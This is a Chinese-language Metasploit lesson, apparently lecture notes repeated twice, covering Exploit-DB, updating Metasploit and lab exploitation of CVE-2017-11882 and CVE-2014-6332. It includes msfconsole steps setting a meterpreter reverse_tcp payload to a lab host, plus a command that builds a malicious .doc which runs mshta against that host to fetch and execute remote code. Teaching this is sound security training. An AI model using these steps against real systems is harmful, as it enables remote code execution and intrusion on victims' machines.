Metasploit 进阶第二讲 框架更新
EDB平台-互联网安全漏洞库
Exploit_DB是一个面向全世界安全工作人员的漏洞提交平台，是一份公开已知漏洞的存档，便于企业改善公司的安全情况，同时帮助安全研究人员及渗透测试工程师进行更好的安全测试工作。
exploits：漏洞信息
papers：文章
GHDB: Google hacking
shellcodes：填充数据
CVE-2017-11882介绍
CVE-2017-11882Ofice远程代码执行漏洞：
由Microsoft office中的公式编辑器造成，该模块以OLE（Object Linking and Embedding，对象链接与嵌入）技术将公式嵌入在Office文档内，由于编辑器没有对名称长度进行校验，导致缓冲区溢出，若攻击者通过构造特殊字符，office无法正确处理内存对象，成功利用该漏洞的攻击者将能以当前用户身份在目标操作系统执行任意代码。
完美无弹窗，无异常，影响office全版本。
CVE和MS：
CVE是Common Vulnerabilities and Exposures的缩写，意思是公共漏洞及披露。它是一个漏洞字典，由MITRE维护，给每个暴露出来漏洞给一个公共的名称。可以在cve.mitre.org/cve/index.html中查看漏洞列表。
MS是微软维护的自身的漏洞列表。可以在technet.microsoft.com/en-
us/security/bulletins查找最新的各种相关信息。
由于两者标准不统一，为了更好对应，MITRE提供一个对应列表cve.mitre.org/data/refs/refmap/source-MS.html。
MSF添加exploit及更新Metasploit框架
添加exploit：
1.将下载的rb文件放入对应的文件夹下
2.执行reload_all或重新启动MSF
更新metasploit框架：
apt update；apt install metasploit-framework
实操：利用CVE-2017-11882攻击目标主机
MSF:
search 2017_11882
use exploit/windows/...
info
show options
set uripath/
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.24.137
run
生成POC程序（带有shell的doc文件）：
python CVE-2017-11882.py -c“mshta
http://192.168.24.137：8080/"-o11882.doc
其他POC程序生成：
https://github.com/Ridter/CVE-2017-11882
python CVE-2017-11882.py-c"cmd.exe/c
calc.cxe" –o 11882.doc
metasploit攻击win8实例
Microsoft Windows OLE远程代码执行漏洞（CVE-2014-6332、MS14-064）：
OLE（对象链接与嵌入）是一种允许应用程序共享数据和功能的技术。
Microsoft Windows Server 2003 SP2，Windows Vista SP2，Windows Server 2008
SP2/R2 SP1，Windows 7 SP1，Windows 8，Windows 8.1，Windows Server 2012
Gold/R2，Windows RT Gold/8.1版本在实现上存在Windows OLE自动化数组远程代码执行漏洞，远程攻击者利用此漏洞构造特殊的网页，用户使用IE浏览器查看网页时允许远程执行任意代码。
可能会遇到的问题：
1.Rex:：BindFailed The address is already in use or unavailable:（0.0.0.0：4444）
lsof-i：4444 -> kill -9 PID（man lsof -> man kill）
2.注意查看报错信息，多检索
metasploit框架打开方式：
msfconsole 启动命令行模式
armitage 启动图形化界面方式
Metasploit 进阶第二讲
框架更新
01 Exploit_db平台介绍
02 MSF添加exploit更新MSF
03 CVE-2017-11882利用实例
04合天网安实验室攻击win8实例
EDB平台-互联网安全漏洞库
Exploit_DB是一个面向全世界安全工作人员的漏洞提交平台，是一份公开已知漏洞的存档，便于企业改善公司的安全情况，同时帮助安全研究人员及渗透测试工程师进行更好的安全测试工作。
exploits：漏洞信息
papers：文章
GHDB: Google hacking
shellcodes：填充数据
CVE-2017-11882介绍
CVE-2017-11882Ofice远程代码执行漏洞：
由Microsoft office中的公式编辑器造成，该模块以OLE（Object Linking and Embedding，对象链接与嵌入）技术将公式嵌入在Office文档内，由于编辑器没有对名称长度进行校验，导致缓冲区溢出，若攻击者通过构造特殊字符，office无法正确处理内存对象，成功利用该漏洞的攻击者将能以当前用户身份在目标操作系统执行任意代码。
完美无弹窗，无异常，影响office全版本。
CVE和MS：
CVE是Common Vulnerabilities and Exposures的缩写，意思是公共漏洞及披露。它是一个漏洞字典，由MITRE维护，给每个暴露出来漏洞给一个公共的名称。可以在cve.mitre.org/cve/index.html中查看漏洞列表。
MS是微软维护的自身的漏洞列表。可以在technet.microsoft.com/en-
us/security/bulletins查找最新的各种相关信息。
由于两者标准不统一，为了更好对应，MITRE提供一个对应列表cve.mitre.org/data/refs/refmap/source-MS.html。
MSF添加exploit及更新Metasploit框架
添加exploit：
1.将下载的rb文件放入对应的文件夹下
2.执行reload_all或重新启动MSF
更新metasploit框架：
apt update；apt install metasploit-framework
实操：利用CVE-2017-11882攻击目标主机
MSF:
search 2017_11882
use exploit/windows/...
info
show options
set uripath/
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.24.137
run
生成POC程序（带有shell的doc文件）：
python CVE-2017-11882.py -c“mshta
http://192.168.24.137：8080/"-o11882.doc
其他POC程序生成：
https://github.com/Ridter/CVE-2017-11882
python CVE-2017-11882.py-c"cmd.exe/c
calc.cxe" –o 11882.doc
合天网安实验室：metasploit攻击win8实例
Microsoft Windows OLE远程代码执行漏洞（CVE-2014-6332、MS14-064）：
OLE（对象链接与嵌入）是一种允许应用程序共享数据和功能的技术。
Microsoft Windows Server 2003 SP2，Windows Vista SP2，Windows Server 2008
SP2/R2 SP1，Windows 7 SP1，Windows 8，Windows 8.1，Windows Server 2012
Gold/R2，Windows RT Gold/8.1版本在实现上存在Windows OLE自动化数组远程代码执行漏洞，远程攻击者利用此漏洞构造特殊的网页，用户使用IE浏览
器查看网页时允许远程执行任意代码。
可能会遇到的问题：
- Rex:：BindFailed The address is already in use or unavailable:（0.0.0.0：4444）
lsof-i：4444 -> kill -9 PID（man lsof -> man kill）
2.注意查看报错信息，多检索
metasploit框架打开方式：
msfconsole 启动命令行模式
armitage 启动图形化界面方式
